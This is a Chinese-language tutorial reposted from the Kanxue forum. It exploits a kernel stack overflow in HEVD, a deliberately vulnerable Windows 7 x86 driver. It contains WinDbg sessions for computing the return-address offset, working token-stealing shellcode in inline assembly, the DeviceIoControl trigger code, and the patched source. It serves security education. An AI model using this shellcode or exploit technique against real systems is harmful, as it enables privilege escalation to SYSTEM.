c++堆栈溢出怎么解决_Windows Kernel Exploit 内核漏洞学习(2)-内核栈溢出
這是 Windows kernel exploit 系列的第二部分,這一篇我們通過內核空間的棧溢出來繼續深入學習 Windows Kernel exploit ,看此文章之前你需要有以下準備:
- Windows 7 x86 sp1虛擬機
- 配置好windbg等調試工具,建議配合VirtualKD使用
- HEVD+OSR Loader配合構造漏洞環境
漏洞原理
棧溢出原理
棧溢出是系列漏洞中最為基礎的漏洞,如果你是一個 pwn 選手,第一個學的就是簡單的棧溢出,棧溢出的原理比較簡單,我的理解就是用戶對自己申請的緩沖區大小沒有一個很好的把控,導致緩沖區作為參數傳入其他函數的時候可能覆蓋到了不該覆蓋的位置,比如 ebp,返回地址等。
如果我們精心構造好返回地址的話,程序就會按照我們指定的流程繼續運行下去,原理很簡單,但是實際用起來并不是那么容易的,在Windows的不斷更新過程中,也增加了許多對于棧溢出的安全保護機制。
漏洞點分析
我們在IDA中打開源碼文件StackOverflow.c源碼文件這里下載查看一下主函數TriggerStackOverflow,這里直接將 Size 傳入memcpy函數中,未對它進行限制,就可能出現棧溢出的情況,另外,我們可以發現 KernelBuffer 的 Size 是 0x800。
int __stdcall TriggerStackOverflow(void *UserBuffer, unsigned int Size) { unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch] CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]KernelBuffer[0] = 0; memset(&KernelBuffer[1], 0, 0x7FCu); ms_exc.registration.TryLevel = 0; ProbeForRead(UserBuffer, 0x800u, 4u); DbgPrint("[+] UserBuffer: 0x%pn", UserBuffer); DbgPrint("[+] UserBuffer Size: 0x%Xn", Size); DbgPrint("[+] KernelBuffer: 0x%pn", KernelBuffer); DbgPrint("[+] KernelBuffer Size: 0x%Xn", 0x800); DbgPrint("[+] Triggering Stack Overflown"); memcpy(KernelBuffer, UserBuffer, Size); return 0; }我們現在差的就是偏移了,偏移的計算是在windbg中調試得到的,我們需要下兩處斷點來找偏移,第一處是在TriggerStackOverflow函數開始的地方,第二處是在函數中的memcpy函數處下斷點。
kd> bl //查看所有斷點 0 e Disable Clear 8c6d16b9 e 1 0001 (0001) HEVD!TriggerStackOverflow+0x8f 1 e Disable Clear 8c6d162a e 1 0001 (0001) HEVD!TriggerStackOverflow kd> g //運行 Breakpoint 1 hit //斷在了第一處 HEVD!TriggerStackOverflow: 8c6d162a 680c080000 push 80Ch kd> r //查看寄存器 eax=c0000001 ebx=8c6d2da2 ecx=00000907 edx=0032f018 esi=886ad9b8 edi=886ad948 eip=8c6d162a esp=91a03ad4 ebp=91a03ae0 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206 HEVD!TriggerStackOverflow: 8c6d162a 680c080000 push 80Ch kd> dd esp //查看堆棧情況 91a03ad4 8c6d1718 0032f018 00000907 91a03afc 91a03ae4 8c6d2185 886ad948 886ad9b8 86736268 91a03af4 88815378 00000000 91a03b14 83e84593 91a03b04 88815378 886ad948 886ad948 88815378 91a03b14 91a03b34 8407899f 86736268 886ad948 91a03b24 886ad9b8 00000094 04a03bac 91a03b44 91a03b34 91a03bd0 8407bb71 88815378 86736268 91a03b44 00000000 91a03b01 44c7b400 00000002上面的第一處斷點可以看到返回地址是0x91a03ad4。
kd> g Breakpoint 0 hit HEVD!TriggerStackOverflow+0x8f: 8c6d16b9 e81ccbffff call HEVD!memcpy (8c6ce1da) kd> dd esp 91a03274 91a032b4 0032f018 00000907 8c6d25be 91a03284 8c6d231a 00000800 8c6d2338 91a032b4 91a03294 8c6d23a2 00000907 8c6d23be 0032f018 91a032a4 1dcd205c 886ad948 886ad9b8 8c6d2da2 91a032b4 00000000 00000000 00000000 00000000 91a032c4 00000000 00000000 00000000 00000000 91a032d4 00000000 00000000 00000000 00000000 91a032e4 00000000 00000000 00000000 00000000 kd> r eax=91a032b4 ebx=8c6d2da2 ecx=0032f018 edx=00000065 esi=00000800 edi=00000000 eip=8c6d16b9 esp=91a03274 ebp=91a03ad0 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000246 HEVD!TriggerStackOverflow+0x8f: 8c6d16b9 e81ccbffff call HEVD!memcpy (8c6ce1da)上面的第二處斷點可以看到0x91a032b4是我們memcpy的第一個參數,也就是KernelBuffer,我們需要覆蓋到返回地址也就是偏移為 0x820。
>>> hex(0x91a03ad4-0x91a032b4) '0x820'漏洞利用
利用思路
知道了偏移,我們只需要將返回地址覆蓋為我們的shellcode的位置即可提權,只是這里提權的代碼需要考慮到棧的平衡問題,在TriggerStackOverflow函數開始的地方,我們下斷點觀察發現,ebp的值位置在91a3bae0,也就是值為91a3bafc。
kd> g Breakpoint 1 hit HEVD!TriggerStackOverflow: 0008:8c6d162a 680c080000 push 80Ch kd> r eax=c0000001 ebx=8c6d2da2 ecx=00000824 edx=001ef230 esi=885c5528 edi=885c54b8 eip=8c6d162a esp=91a3bad4 ebp=91a3bae0 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206 HEVD!TriggerStackOverflow: 0008:8c6d162a 680c080000 push 80Ch kd> dd esp 91a3bad4 8c6d1718 001ef230 00000824 (91a3bafc) => ebp 91a3bae4 8c6d2185 885c54b8 885c5528 88573cc0 91a3baf4 88815378 00000000 91a3bb14 83e84593 91a3bb04 88815378 885c54b8 885c54b8 88815378 91a3bb14 91a3bb34 8407899f 88573cc0 885c54b8 91a3bb24 885c5528 00000094 04a3bbac 91a3bb44 91a3bb34 91a3bbd0 8407bb71 88815378 88573cc0 91a3bb44 00000000 83ede201 00023300 00000002當我們進入shellcode的時候,我們的ebp被覆蓋為了0x41414141,為了使堆棧平衡,我們需要將ebp重新賦值為97a8fafc。
kd> Break instruction exception - code 80000003 (first chance) StackOverflow!ShellCode+0x3: 0008:012c1003 cc int 3 kd> r eax=00000000 ebx=8c6d2da2 ecx=8c6d16f2 edx=00000000 esi=885b5360 edi=885b52f0 eip=012c1003 esp=97a8fad4 ebp=41414141 iopl=0 nv up ei ng nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000282 StackOverflow!ShellCode+0x3: 0008:012c1003 cc int 3 kd> dd esp 97a8fad4 885b52f0 885b5360 8c6d2da2 97a8fafc 97a8fae4 8c6d2185 885b52f0 885b5360 88573cc0 97a8faf4 88815378 00000000 97a8fb14 83e84593 97a8fb04 88815378 885b52f0 885b52f0 88815378 97a8fb14 97a8fb34 8407899f 88573cc0 885b52f0 97a8fb24 885b5360 00000094 04a8fbac 97a8fb44 97a8fb34 97a8fbd0 8407bb71 88815378 88573cc0 97a8fb44 00000000 83ede201 00023300 00000002利用代碼
利用思路中,我們介紹了為什么要堆棧平衡,下面是具體的shellcode部分。
VOID ShellCode() { //__debugbreak(); // 運行到這里程序會自動斷下來等待windbg的調試 __asm { pop edi pop esi pop ebx pushad mov eax, fs:[124h] mov eax, [eax + 050h] mov ecx, eax mov edx, 4find_sys_pid : mov eax, [eax + 0b8h] sub eax, 0b8h cmp[eax + 0b4h], edx jnz find_sys_pidmov edx, [eax + 0f8h] mov[ecx + 0f8h], edx popad pop ebp ret 8 } }構造并調用shellcode部分。
char buf[0x824]; memset(buf, 'A', 0x824); *(PDWORD)(buf + 0x820) = (DWORD)&ShellCode; DeviceIoControl(hDevice, 0x222003, buf, 0x824,NULL,0,&bReturn,NULL);具體的代碼參考這里,最后提權成功。
補丁思考
我們先查看源文件 StackOverflow.c 中補丁的措施,區別很明顯,不安全版本的RtlCopyMemory函數中的第三個參數沒有進行控制,直接將用戶提供的 Size 傳到了函數中,安全的補丁就是對RtlCopyMemory的參數進行嚴格的設置。
#ifdef SECURE // Secure Note: This is secure because the developer is passing a size // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence, // there will be no overflow RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer)); #else DbgPrint("[+] Triggering Stack Overflown");// Vulnerability Note: This is a vanilla Stack based Overflow vulnerability // because the developer is passing the user supplied size directly to // RtlCopyMemory()/memcpy() without validating if the size is greater or // equal to the size of KernelBuffer RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);后記:
通過這次的練習感受到Windows內核中和Linux中棧溢出的區別,在Linux中,如果我們想要棧溢出,會有canary,ASLR,NX等等保護需要我們去繞過,如果平臺上升到win10,那么就會有更多全新的安全機制需要去考慮。
看雪ID:Thunder J
https://bbs.pediy.com/user-825245.htm
本文由看雪論壇 Thunder J 原創
轉載請注明來自看雪社區
往期熱門回顧
1、記一次純腳本載荷攻擊的樣本分析
2、路由器基本調試一 UART定位
3、MuddyWater(污水)APT組織針對塔吉克斯坦的攻擊活動的分析
﹀
﹀
﹀
公眾號ID:ikanxue
官方微博:看雪安全
商務合作:wsc@kanxue.com
總結
以上是生活随笔為你收集整理的c++堆栈溢出怎么解决_Windows Kernel Exploit 内核漏洞学习(2)-内核栈溢出的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: n型半导体和p型半导体的区别_PNP和N
- 下一篇: word如何设置长宽高_word怎样设置